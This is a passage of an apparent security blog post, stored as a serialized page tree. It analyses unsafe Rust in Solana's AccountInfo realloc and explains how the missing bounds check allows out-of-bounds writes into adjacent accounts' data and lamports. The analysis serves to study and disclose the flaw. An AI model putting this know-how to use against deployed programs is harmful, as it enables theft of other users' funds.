Err",{"type":23,"tag":139,"props":13762,"children":13763},{"style":259},[13764],{"type":28,"value":262},{"type":23,"tag":139,"props":13766,"children":13767},{"style":305},[13768],{"type":28,"value":13769},"InstructionError",{"type":23,"tag":139,"props":13771,"children":13772},{"style":982},[13773],{"type":28,"value":1461},{"type":23,"tag":139,"props":13775,"children":13776},{"style":305},[13777],{"type":28,"value":13778},"ExecutableDataModified",{"type":23,"tag":139,"props":13780,"children":13781},{"style":259},[13782],{"type":28,"value":1820},{"type":23,"tag":139,"props":13784,"children":13785},{"class":141,"line":1329},[13786,13791,13795,13800,13804],{"type":23,"tag":139,"props":13787,"children":13788},{"style":259},[13789],{"type":28,"value":13790},"    } ",{"type":23,"tag":139,"props":13792,"children":13793},{"style":319},[13794],{"type":28,"value":1293},{"type":23,"tag":139,"props":13796,"children":13797},{"style":319},[13798],{"type":28,"value":13799}," if",{"type":23,"tag":139,"props":13801,"children":13802},{"style":294},[13803],{"type":28,"value":13637},{"type":23,"tag":139,"props":13805,"children":13806},{"style":259},[13807],{"type":28,"value":1268},{"type":23,"tag":139,"props":13809,"children":13810},{"class":141,"line":1580},[13811,13815,13819,13823,13827,13831,13836],{"type":23,"tag":139,"props":13812,"children":13813},{"style":319},[13814],{"type":28,"value":13755},{"type":23,"tag":139,"props":13816,"children":13817},{"style":305},[13818],{"type":28,"value":13760},{"type":23,"tag":139,"props":13820,"children":13821},{"style":259},[13822],{"type":28,"value":262},{"type":23,"tag":139,"props":13824,"children":13825},{"style":305},[13826],{"type":28,"value":13769},{"type":23,"tag":139,"props":13828,"children":13829},{"style":982},[13830],{"type":28,"value":1461},{"type":23,"tag":139,"props":13832,"children":13833},{"style":305},[13834],{"type":28,"value":13835},"ExternalAccountDataModified",{"type":23,"tag":139,"props":13837,"children":13838},{"style":259},[13839],{"type":28,"value":1820},{"type":23,"tag":139,"props":13841,"children":13842},{"class":141,"line":1597},[13843,13847,13851],{"type":23,"tag":139,"props":13844,"children":13845},{"style":259},[13846],{"type":28,"value":13790},{"type":23,"tag":139,"props":13848,"children":13849},{"style":319},[13850],{"type":28,"value":1293},{"type":23,"tag":139,"props":13852,"children":13853},{"style":259},[13854],{"type":28,"value":1268},{"type":23,"tag":139,"props":13856,"children":13857},{"class":141,"line":1614},[13858,13862,13866,13870,13874,13878,13883],{"type":23,"tag":139,"props":13859,"children":13860},{"style":319},[13861],{"type":28,"value":13755},{"type":23,"tag":139,"props":13863,"children":13864},{"style":305},[13865],{"type":28,"value":13760},{"type":23,"tag":139,"props":13867,"children":13868},{"style":259},[13869],{"type":28,"value":262},{"type":23,"tag":139,"props":13871,"children":13872},{"style":305},[13873],{"type":28,"value":13769},{"type":23,"tag":139,"props":13875,"children":13876},{"style":982},[13877],{"type":28,"value":1461},{"type":23,"tag":139,"props":13879,"children":13880},{"style":305},[13881],{"type":28,"value":13882},"ReadonlyDataModified",{"type":23,"tag":139,"props":13884,"children":13885},{"style":259},[13886],{"type":28,"value":1820},{"type":23,"tag":139,"props":13888,"children":13889},{"class":141,"line":1627},[13890],{"type":23,"tag":139,"props":13891,"children":13892},{"style":259},[13893],{"type":28,"value":1335},{"type":23,"tag":139,"props":13895,"children":13896},{"class":141,"line":1636},[13897],{"type":23,"tag":139,"props":13898,"children":13899},{"style":259},[13900],{"type":28,"value":1897},{"type":23,"tag":666,"props":13902,"children":13904},{"id":13903},"back-to-realloc",[13905,13907],{"type":28,"value":13906},"Back to ",{"type":23,"tag":135,"props":13908,"children":13910},{"className":13909},[],[13911],{"type":28,"value":11649},{"type":23,"tag":24,"props":13913,"children":13914},{},[13915],{"type":28,"value":13916},"As a reminder, this is what we were looking at before that detour:",{"type":23,"tag":128,"props":13918,"children":13919},{"className":948,"code":12402,"language":947,"meta":7,"style":7},[13920],{"type":23,"tag":135,"props":13921,"children":13922},{"__ignoreMap":7},[13923,13930,14017],{"type":23,"tag":139,"props":13924,"children":13925},{"class":141,"line":142},[13926],{"type":23,"tag":139,"props":13927,"children":13928},{"style":958},[13929],{"type":28,"value":12414},{"type":23,"tag":139,"props":13931,"children":13932},{"class":141,"line":151},[13933,13937,13941,13945,13949,13953,13957,13961,13965,13969,13973,13977,13981,13985,13989,13993,13997,14001,14005,14009,14013],{"type":23,"tag":139,"props":13934,"children":13935},{"style":279},[13936],{"type":28,"value":9798},{"type":23,"tag":139,"props":13938,"children":13939},{"style":294},[13940],{"type":28,"value":11868},{"type":23,"tag":139,"props":13942,"children":13943},{"style":982},[13944],{"type":28,"value":985},{"type":23,"tag":139,"props":13946,"children":13947},{"style":279},[13948],{"type":28,"value":11808},{"type":23,"tag":139,"props":13950,"children":13951},{"style":982},[13952],{"type":28,"value":73},{"type":23,"tag":139,"props":13954,"children":13955},{"style":245},[13956],{"type":28,"value":11885},{"type":23,"tag":139,"props":13958,"children":13959},{"style":259},[13960],{"type":28,"value":11890},{"type":23,"tag":139,"props":13962,"children":13963},{"style":982},[13964],{"type":28,"value":1109},{"type":23,"tag":139,"props":13966,"children":13967},{"style":245},[13968],{"type":28,"value":11899},{"type":23,"tag":139,"props":13970,"children":13971},{"style":259},[13972],{"type":28,"value":11890},{"type":23,"tag":139,"props":13974,"children":13975},{"style":982},[13976],{"type":28,"value":73},{"type":23,"tag":139,"props":13978,"children":13979},{"style":245},[13980],{"type":28,"value":11912},{"type":23,"tag":139,"props":13982,"children":13983},{"style":259},[13984],{"type":28,"value":262},{"type":23,"tag":139,"props":13986,"children":13987},{"style":982},[13988],{"type":28,"value":2328},{"type":23,"tag":139,"props":13990,"children":13991},{"style":1016},[13992],{"type":28,"value":2075},{"type":23,"tag":139,"props":13994,"children":13995},{"style":259},[13996],{"type":28,"value":1062},{"type":23,"tag":139,"props":13998,"children":13999},{"style":279},[14000],{"type":28,"value":6847},{"type":23,"tag":139,"props":14002,"children":14003},{"style":982},[14004],{"type":28,"value":7825},{"type":23,"tag":139,"props":14006,"children":14007},{"style":279},[14008],{"type":28,"value":1713},{"type":23,"tag":139,"props":14010,"children":14011},{"style":305},[14012],{"type":28,"value":3862},{"type":23,"tag":139,"props":14014,"children":14015},{"style":259},[14016],{"type":28,"value":995},{"type":23,"tag":139,"props":14018,"children":14019},{"class":141,"line":160},[14020,14024,14028,14032,14036,14040,14044],{"type":23,"tag":139,"props":14021,"children":14022},{"style":982},[14023],{"type":28,"value":2573},{"type":23,"tag":139,"props":14025,"children":14026},{"style":294},[14027],{"type":28,"value":11960},{"type":23,"tag":139,"props":14029,"children":14030},{"style":982},[14031],{"type":28,"value":985},{"type":23,"tag":139,"props":14033,"children":14034},{"style":294},[14035],{"type":28,"value":11969},{"type":23,"tag":139,"props":14037,"children":14038},{"style":279},[14039],{"type":28,"value":6833},{"type":23,"tag":139,"props":14041,"children":14042},{"style":305},[14043],{"type":28,"value":3862},{"type":23,"tag":139,"props":14045,"children":14046},{"style":259},[14047],{"type":28,"value":995},{"type":23,"tag":24,"props":14049,"children":14050},{},[14051,14056,14058,14063,14065,14070,14072,14083,14085,14090,14092,14097],{"type":23,"tag":135,"props":14052,"children":14054},{"className":14053},[],[14055],{"type":28,"value":11885},{"type":28,"value":14057}," gives us the ",{"type":23,"tag":135,"props":14059,"children":14061},{"className":14060},[],[14062],{"type":28,"value":13475},{"type":28,"value":14064}," from the ",{"type":23,"tag":135,"props":14066,"children":14068},{"className":14067},[],[14069],{"type":28,"value":13349},{"type":28,"value":14071},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":23,"tag":64,"props":14073,"children":14076},{"href":14074,"rel":14075},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[68],[14077],{"type":23,"tag":135,"props":14078,"children":14080},{"className":14079},[],[14081],{"type":28,"value":14082},"slice::as_mut_ptr()",{"type":28,"value":14084}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":23,"tag":135,"props":14086,"children":14088},{"className":14087},[],[14089],{"type":28,"value":6046},{"type":28,"value":14091}," - behind the data buffer), and then writes ",{"type":23,"tag":135,"props":14093,"children":14095},{"className":14094},[],[14096],{"type":28,"value":11733},{"type":28,"value":14098}," to it.",{"type":23,"tag":24,"props":14100,"children":14101},{},[14102,14104,14116,14118,14124],{"type":28,"value":14103},"This is reasonable... ",{"type":23,"tag":659,"props":14105,"children":14106},{},[14107,14109,14114],{"type":28,"value":14108},"as long as the ",{"type":23,"tag":135,"props":14110,"children":14112},{"className":14111},[],[14113],{"type":28,"value":1691},{"type":28,"value":14115}," actually came from the serialized buffer",{"type":28,"value":14117},". We'll come back to this ",{"type":23,"tag":64,"props":14119,"children":14121},{"href":14120},"#Not-contracts",[14122],{"type":28,"value":14123},"later",{"type":28,"value":73},{"type":23,"tag":24,"props":14126,"children":14127},{},[14128,14130,14135],{"type":28,"value":14129},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":23,"tag":135,"props":14131,"children":14133},{"className":14132},[],[14134],{"type":28,"value":13475},{"type":28,"value":14136}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":23,"tag":128,"props":14138,"children":14140},{"className":948,"code":14139,"language":947,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[14141],{"type":23,"tag":135,"props":14142,"children":14143},{"__ignoreMap":7},[14144,14152,14279],{"type":23,"tag":139,"props":14145,"children":14146},{"class":141,"line":142},[14147],{"type":23,"tag":139,"props":14148,"children":14149},{"style":958},[14150],{"type":28,"value":14151},"// Then set the new length in the local slice\n",{"type":23,"tag":139,"props":14153,"children":14154},{"class":141,"line":151},[14155,14159,14163,14167,14171,14175,14179,14183,14187,14191,14195,14199,14203,14207,14211,14215,14219,14223,14227,14231,14235,14239,14243,14247,14251,14255,14259,14263,14267,14271,14275],{"type":23,"tag":139,"props":14156,"children":14157},{"style":279},[14158],{"type":28,"value":9798},{"type":23,"tag":139,"props":14160,"children":14161},{"style":294},[14162],{"type":28,"value":11868},{"type":23,"tag":139,"props":14164,"children":14165},{"style":982},[14166],{"type":28,"value":985},{"type":23,"tag":139,"props":14168,"children":14169},{"style":982},[14170],{"type":28,"value":5144},{"type":23,"tag":139,"props":14172,"children":14173},{"style":279},[14174],{"type":28,"value":1713},{"type":23,"tag":139,"props":14176,"children":14177},{"style":982},[14178],{"type":28,"value":7825},{"type":23,"tag":139,"props":14180,"children":14181},{"style":259},[14182],{"type":28,"value":12028},{"type":23,"tag":139,"props":14184,"children":14185},{"style":279},[14186],{"type":28,"value":11724},{"type":23,"tag":139,"props":14188,"children":14189},{"style":982},[14190],{"type":28,"value":73},{"type":23,"tag":139,"props":14192,"children":14193},{"style":259},[14194],{"type":28,"value":1691},{"type":23,"tag":139,"props":14196,"children":14197},{"style":982},[14198],{"type":28,"value":73},{"type":23,"tag":139,"props":14200,"children":14201},{"style":245},[14202],{"type":28,"value":12049},{"type":23,"tag":139,"props":14204,"children":14205},{"style":259},[14206],{"type":28,"value":12054},{"type":23,"tag":139,"props":14208,"children":14209},{"style":279},[14210],{"type":28,"value":6847},{"type":23,"tag":139,"props":14212,"children":14213},{"style":982},[14214],{"type":28,"value":7825},{"type":23,"tag":139,"props":14216,"children":14217},{"style":279},[14218],{"type":28,"value":7663},{"type":23,"tag":139,"props":14220,"children":14221},{"style":305},[14222],{"type":28,"value":3862},{"type":23,"tag":139,"props":14224,"children":14225},{"style":259},[14226],{"type":28,"value":1104},{"type":23,"tag":139,"props":14228,"children":14229},{"style":982},[14230],{"type":28,"value":73},{"type":23,"tag":139,"props":14232,"children":14233},{"style":245},[14234],{"type":28,"value":11912},{"type":23,"tag":139,"props":14236,"children":14237},{"style":259},[14238],{"type":28,"value":262},{"type":23,"tag":139,"props":14240,"children":14241},{"style":1016},[14242],{"type":28,"value":647},{"type":23,"tag":139,"props":14244,"children":14245},{"style":259},[14246],{"type":28,"value":1062},{"type":23,"tag":139,"props":14248,"children":14249},{"style":279},[14250],{"type":28,"value":6847},{"type":23,"tag":139,"props":14252,"children":14253},{"style":305},[14254],{"type":28,"value":3862},{"type":23,"tag":139,"props":14256,"children":14257},{"style":259},[14258],{"type":28,"value":1062},{"type":23,"tag":139,"props":14260,"children":14261},{"style":279},[14262],{"type":28,"value":6847},{"type":23,"tag":139,"props":14264,"children":14265},{"style":982},[14266],{"type":28,"value":7825},{"type":23,"tag":139,"props":14268,"children":14269},{"style":279},[14270],{"type":28,"value":1713},{"type":23,"tag":139,"props":14272,"children":14273},{"style":305},[14274],{"type":28,"value":3862},{"type":23,"tag":139,"props":14276,"children":14277},{"style":259},[14278],{"type":28,"value":1820},{"type":23,"tag":139,"props":14280,"children":14281},{"class":141,"line":160},[14282,14286,14290,14294,14298,14302,14306],{"type":23,"tag":139,"props":14283,"children":14284},{"style":982},[14285],{"type":28,"value":2573},{"type":23,"tag":139,"props":14287,"children":14288},{"style":294},[14289],{"type":28,"value":11960},{"type":23,"tag":139,"props":14291,"children":14292},{"style":982},[14293],{"type":28,"value":985},{"type":23,"tag":139,"props":14295,"children":14296},{"style":294},[14297],{"type":28,"value":11969},{"type":23,"tag":139,"props":14299,"children":14300},{"style":279},[14301],{"type":28,"value":6833},{"type":23,"tag":139,"props":14303,"children":14304},{"style":305},[14305],{"type":28,"value":3862},{"type":23,"tag":139,"props":14307,"children":14308},{"style":259},[14309],{"type":28,"value":995},{"type":23,"tag":24,"props":14311,"children":14312},{},[14313,14315,14321,14323,14334,14336,14342,14344,14350,14352,14357,14359,14364,14366,14376,14377,14384,14385,14392,14399,14401,14407,14409,14415,14417,14422,14424,14429,14431,14437,14439,14444],{"type":28,"value":14314},"That ",{"type":23,"tag":135,"props":14316,"children":14318},{"className":14317},[],[14319],{"type":28,"value":14320},"as_ptr()",{"type":28,"value":14322}," call is ",{"type":23,"tag":64,"props":14324,"children":14327},{"href":14325,"rel":14326},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[68],[14328],{"type":23,"tag":135,"props":14329,"children":14331},{"className":14330},[],[14332],{"type":28,"value":14333},"RefCell::as_ptr()",{"type":28,"value":14335}," due to the ",{"type":23,"tag":135,"props":14337,"children":14339},{"className":14338},[],[14340],{"type":28,"value":14341},"Deref",{"type":28,"value":14343}," impl on ",{"type":23,"tag":135,"props":14345,"children":14347},{"className":14346},[],[14348],{"type":28,"value":14349},"Rc",{"type":28,"value":14351}," (remember also that ",{"type":23,"tag":135,"props":14353,"children":14355},{"className":14354},[],[14356],{"type":28,"value":13514},{"type":28,"value":14358}," itself doesn't behave like a reference, you need to actually ",{"type":23,"tag":659,"props":14360,"children":14361},{},[14362],{"type":28,"value":14363},"get",{"type":28,"value":14365}," one through ",{"type":23,"tag":64,"props":14367,"children":14370},{"href":14368,"rel":14369},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[68],[14371],{"type":23,"tag":135,"props":14372,"children":14374},{"className":14373},[],[14375],{"type":28,"value":6807},{"type":28,"value":471},{"type":23,"tag":64,"props":14378,"children":14381},{"href":14379,"rel":14380},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[68],[14382],{"type":28,"value":14383},"and",{"type":28,"value":471},{"type":23,"tag":64,"props":14386,"children":14389},{"href":14387,"rel":14388},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[68],[14390],{"type":28,"value":14391},"frie",{"type":23,"tag":64,"props":14393,"children":14396},{"href":14394,"rel":14395},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[68],[14397],{"type":28,"value":14398},"nds",{"type":28,"value":14400},"). So from ",{"type":23,"tag":135,"props":14402,"children":14404},{"className":14403},[],[14405],{"type":28,"value":14406},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":28,"value":14408}," we get a ",{"type":23,"tag":135,"props":14410,"children":14412},{"className":14411},[],[14413],{"type":28,"value":14414},"*mut &mut [u8]",{"type":28,"value":14416}," - a ",{"type":23,"tag":659,"props":14418,"children":14419},{},[14420],{"type":28,"value":14421},"pointer",{"type":28,"value":14423}," to the ",{"type":23,"tag":659,"props":14425,"children":14426},{},[14427],{"type":28,"value":14428},"slice reference",{"type":28,"value":14430},". From here, we turn the pointer into a ",{"type":23,"tag":135,"props":14432,"children":14434},{"className":14433},[],[14435],{"type":28,"value":14436},"*const u64",{"type":28,"value":14438}," pointer and then offset by 1 ",{"type":23,"tag":135,"props":14440,"children":14442},{"className":14441},[],[14443],{"type":28,"value":6046},{"type":28,"value":14445}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":23,"tag":24,"props":14447,"children":14448},{},[14449,14451,14456,14458,14463,14465,14470,14472,14477,14479,14485],{"type":28,"value":14450},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":23,"tag":64,"props":14452,"children":14454},{"href":14453},"#Towards-safer-unsafe",[14455],{"type":28,"value":14123},{"type":28,"value":14457}," too, I promise. In summary, we're writing the new length as a ",{"type":23,"tag":135,"props":14459,"children":14461},{"className":14460},[],[14462],{"type":28,"value":6046},{"type":28,"value":14464}," to the region starting 8 bytes from the start of the slice ",{"type":23,"tag":659,"props":14466,"children":14467},{},[14468],{"type":28,"value":14469},"reference",{"type":28,"value":14471}," (the ",{"type":23,"tag":135,"props":14473,"children":14475},{"className":14474},[],[14476],{"type":28,"value":13475},{"type":28,"value":14478},").So, what does ",{"type":23,"tag":135,"props":14480,"children":14482},{"className":14481},[],[14483],{"type":28,"value":14484},"&[T]",{"type":28,"value":14486}," look like in Rust?",{"type":23,"tag":24,"props":14488,"children":14489},{},[14490,14492,14499,14501,14514,14516,14522],{"type":28,"value":14491},"According to ",{"type":23,"tag":64,"props":14493,"children":14496},{"href":14494,"rel":14495},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[68],[14497],{"type":28,"value":14498},"the reference",{"type":28,"value":14500},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":23,"tag":64,"props":14502,"children":14505},{"href":14503,"rel":14504},"https://doc.rust-lang.org/reference/type-layout.html",[68],[14506,14508,14512],{"type":28,"value":14507},"\"Type layout can be changed with each compilation. ",{"type":23,"tag":139,"props":14509,"children":14510},{},[14511],{"type":28,"value":7599},{"type":28,"value":14513}," we only document what is guaranteed today\"",{"type":28,"value":14515},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":23,"tag":135,"props":14517,"children":14519},{"className":14518},[],[14520],{"type":28,"value":14521},"rustc",{"type":28,"value":14523},", the layout is a data pointer followed by the size; essentially the same as:",{"type":23,"tag":128,"props":14525,"children":14528},{"className":14526,"code":14527,"language":1123,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[14529],{"type":23,"tag":135,"props":14530,"children":14531},{"__ignoreMap":7},[14532,14540,14552,14569,14582],{"type":23,"tag":139,"props":14533,"children":14534},{"class":141,"line":142},[14535],{"type":23,"tag":139,"props":14536,"children":14537},{"style":958},[14538],{"type":28,"value":14539},"// C language\n",{"type":23,"tag":139,"props":14541,"children":14542},{"class":141,"line":151},[14543,14547],{"type":23,"tag":139,"props":14544,"children":14545},{"style":279},[14546],{"type":28,"value":7409},{"type":23,"tag":139,"props":14548,"children":14549},{"style":259},[14550],{"type":28,"value":14551}," slice_ref {\n",{"type":23,"tag":139,"props":14553,"children":14554},{"class":141,"line":160},[14555,14560,14564],{"type":23,"tag":139,"props":14556,"children":14557},{"style":279},[14558],{"type":28,"value":14559},"    void",{"type":23,"tag":139,"props":14561,"children":14562},{"style":982},[14563],{"type":28,"value":2573},{"type":23,"tag":139,"props":14565,"children":14566},{"style":259},[14567],{"type":28,"value":14568}," ptr;\n",{"type":23,"tag":139,"props":14570,"children":14571},{"class":141,"line":169},[14572,14577],{"type":23,"tag":139,"props":14573,"children":14574},{"style":279},[14575],{"type":28,"value":14576},"    size_t",{"type":23,"tag":139,"props":14578,"children":14579},{"style":259},[14580],{"type":28,"value":14581}," len;\n",{"type":23,"tag":139,"props":14583,"children":14584},{"class":141,"line":178},[14585],{"type":23,"tag":139,"props":14586,"children":14587},{"style":259},[14588],{"type":28,"value":14589},"};\n",{"type":23,"tag":24,"props":14591,"children":14592},{},[14593],{"type":28,"value":14594},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":23,"tag":797,"props":14596,"children":14597},{},[14598,14603,14621],{"type":23,"tag":801,"props":14599,"children":14600},{},[14601],{"type":28,"value":14602},"Slices are laid out in the precise manner described",{"type":23,"tag":801,"props":14604,"children":14605},{},[14606,14608,14614,14616],{"type":28,"value":14607},"Pointers and ",{"type":23,"tag":135,"props":14609,"children":14611},{"className":14610},[],[14612],{"type":28,"value":14613},"usize",{"type":28,"value":14615}," are the same width as ",{"type":23,"tag":135,"props":14617,"children":14619},{"className":14618},[],[14620],{"type":28,"value":6046},{"type":23,"tag":801,"props":14622,"children":14623},{},[14624,14626,14631],{"type":28,"value":14625},"The ",{"type":23,"tag":135,"props":14627,"children":14629},{"className":14628},[],[14630],{"type":28,"value":13514},{"type":28,"value":14632}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":23,"tag":24,"props":14634,"children":14635},{},[14636,14638,14643,14645,14651,14653,14658,14660,14666,14668,14673,14675,14685],{"type":28,"value":14637},"Assumption #2 is ",{"type":23,"tag":659,"props":14639,"children":14640},{},[14641],{"type":28,"value":14642},"probably",{"type":28,"value":14644}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":23,"tag":135,"props":14646,"children":14648},{"className":14647},[],[14649],{"type":28,"value":14650},"borrow_mut",{"type":28,"value":14652}," of the ",{"type":23,"tag":135,"props":14654,"children":14656},{"className":14655},[],[14657],{"type":28,"value":13514},{"type":28,"value":14659}," (through ",{"type":23,"tag":135,"props":14661,"children":14663},{"className":14662},[],[14664],{"type":28,"value":14665},"AccountInfo::try_borrow_mut_data()",{"type":28,"value":14667},"), and ",{"type":23,"tag":135,"props":14669,"children":14671},{"className":14670},[],[14672],{"type":28,"value":13514},{"type":28,"value":14674}," is not usable between multiple threads",{"type":23,"tag":636,"props":14676,"children":14677},{},[14678],{"type":23,"tag":64,"props":14679,"children":14683},{"href":14680,"ariaDescribedBy":14681,"dataFootnoteRef":7,"id":14682},"#user-content-fn-sendsync",[643],"user-content-fnref-sendsync",[14684],{"type":28,"value":1099},{"type":28,"value":14686},", so we already have exclusive access.",{"type":23,"tag":24,"props":14688,"children":14689},{},[14690,14692,14696],{"type":28,"value":14691},"A few more ",{"type":23,"tag":659,"props":14693,"children":14694},{},[14695],{"type":28,"value":5110},{"type":28,"value":14697}," things of note, that could have gone badly but didn't:",{"type":23,"tag":14699,"props":14700,"children":14701},"ul",{},[14702,14744],{"type":23,"tag":801,"props":14703,"children":14704},{},[14705,14707,14713,14715,14720,14722,14727,14729,14734,14736,14742],{"type":28,"value":14706},"By reborrowing the pointer (the ",{"type":23,"tag":135,"props":14708,"children":14710},{"className":14709},[],[14711],{"type":28,"value":14712},"&mut *(\u003Cvalue of type *mut u64>)",{"type":28,"value":14714},"), we've created a reference with an ",{"type":23,"tag":659,"props":14716,"children":14717},{},[14718],{"type":28,"value":14719},"unbounded lifetime",{"type":28,"value":14721},". Rust is free to infer ",{"type":23,"tag":659,"props":14723,"children":14724},{},[14725],{"type":28,"value":14726},"any",{"type":28,"value":14728}," lifetime for ",{"type":23,"tag":135,"props":14730,"children":14732},{"className":14731},[],[14733],{"type":28,"value":11960},{"type":28,"value":14735}," (including ",{"type":23,"tag":135,"props":14737,"children":14739},{"className":14738},[],[14740],{"type":28,"value":14741},"'static",{"type":28,"value":14743},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":23,"tag":801,"props":14745,"children":14746},{},[14747,14749,14755,14757,14762,14764,14769,14771,14776,14778,14783,14785,14790,14792,14797,14799,14805,14807,14812,14814,14819,14821,14826,14828,14833,14835,14840],{"type":28,"value":14748},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":23,"tag":135,"props":14750,"children":14752},{"className":14751},[],[14753],{"type":28,"value":14754},"RefMut",{"type":28,"value":14756}," returned from ",{"type":23,"tag":135,"props":14758,"children":14760},{"className":14759},[],[14761],{"type":28,"value":11885},{"type":28,"value":14763},", but the ",{"type":23,"tag":135,"props":14765,"children":14767},{"className":14766},[],[14768],{"type":28,"value":14754},{"type":28,"value":14770}," is dropped at the end of the statement. So, we now have in ",{"type":23,"tag":135,"props":14772,"children":14774},{"className":14773},[],[14775],{"type":28,"value":11960},{"type":28,"value":14777}," a ",{"type":23,"tag":659,"props":14779,"children":14780},{},[14781],{"type":28,"value":14782},"mutable",{"type":28,"value":14784}," pointer to the ",{"type":23,"tag":135,"props":14786,"children":14788},{"className":14787},[],[14789],{"type":28,"value":13514},{"type":28,"value":14791},"'s data, but the ",{"type":23,"tag":135,"props":14793,"children":14795},{"className":14794},[],[14796],{"type":28,"value":13514},{"type":28,"value":14798}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":23,"tag":135,"props":14800,"children":14802},{"className":14801},[],[14803],{"type":28,"value":14804},"Mutex",{"type":28,"value":14806}," instead of a ",{"type":23,"tag":135,"props":14808,"children":14810},{"className":14809},[],[14811],{"type":28,"value":13514},{"type":28,"value":14813}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":23,"tag":135,"props":14815,"children":14817},{"className":14816},[],[14818],{"type":28,"value":11960},{"type":28,"value":14820}," and writing to it ",{"type":23,"tag":659,"props":14822,"children":14823},{},[14824],{"type":28,"value":14825},"and succeed",{"type":28,"value":14827},", resulting in us writing while another reference is alive. However, since ",{"type":23,"tag":135,"props":14829,"children":14831},{"className":14830},[],[14832],{"type":28,"value":11960},{"type":28,"value":14834}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":23,"tag":135,"props":14836,"children":14838},{"className":14837},[],[14839],{"type":28,"value":1691},{"type":28,"value":14841}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":23,"tag":24,"props":14843,"children":14844},{},[14845,14847,14852],{"type":28,"value":14846},"Ok, now that we've understood what the code is ",{"type":23,"tag":659,"props":14848,"children":14849},{},[14850],{"type":28,"value":14851},"trying",{"type":28,"value":14853}," to do, let's try to break it, shall we?",{"type":23,"tag":41,"props":14855,"children":14857},{"id":14856},"what-can-go-wrong",[14858],{"type":28,"value":14859},"What can go wrong?",{"type":23,"tag":666,"props":14861,"children":14863},{"id":14862},"contracts",[14864],{"type":28,"value":14865},"Contracts",{"type":23,"tag":24,"props":14867,"children":14868},{},[14869,14871,14876,14878,14883,14885,14890,14892,14897],{"type":28,"value":14870},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":23,"tag":135,"props":14872,"children":14874},{"className":14873},[],[14875],{"type":28,"value":11649},{"type":28,"value":14877},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":23,"tag":135,"props":14879,"children":14881},{"className":14880},[],[14882],{"type":28,"value":11649},{"type":28,"value":14884}," to some large size, past the end of the buffer of roughly ",{"type":23,"tag":135,"props":14886,"children":14888},{"className":14887},[],[14889],{"type":28,"value":13305},{"type":28,"value":14891}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":23,"tag":135,"props":14893,"children":14895},{"className":14894},[],[14896],{"type":28,"value":1691},{"type":28,"value":14898}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":23,"tag":24,"props":14900,"children":14901},{},[14902,14904,14911],{"type":28,"value":14903},"There is ",{"type":23,"tag":64,"props":14905,"children":14908},{"href":14906,"rel":14907},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[68],[14909],{"type":28,"value":14910},"a check",{"type":28,"value":14912}," by the BPF loader, however, and it boils down to:",{"type":23,"tag":128,"props":14914,"children":14916},{"className":948,"code":14915,"language":947,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[14917],{"type":23,"tag":135,"props":14918,"children":14919},{"__ignoreMap":7},[14920,14958,14988,14995,15027],{"type":23,"tag":139,"props":14921,"children":14922},{"class":141,"line":142},[14923,14927,14932,14936,14940,14944,14948,14953],{"type":23,"tag":139,"props":14924,"children":14925},{"style":319},[14926],{"type":28,"value":13590},{"type":23,"tag":139,"props":14928,"children":14929},{"style":294},[14930],{"type":28,"value":14931}," 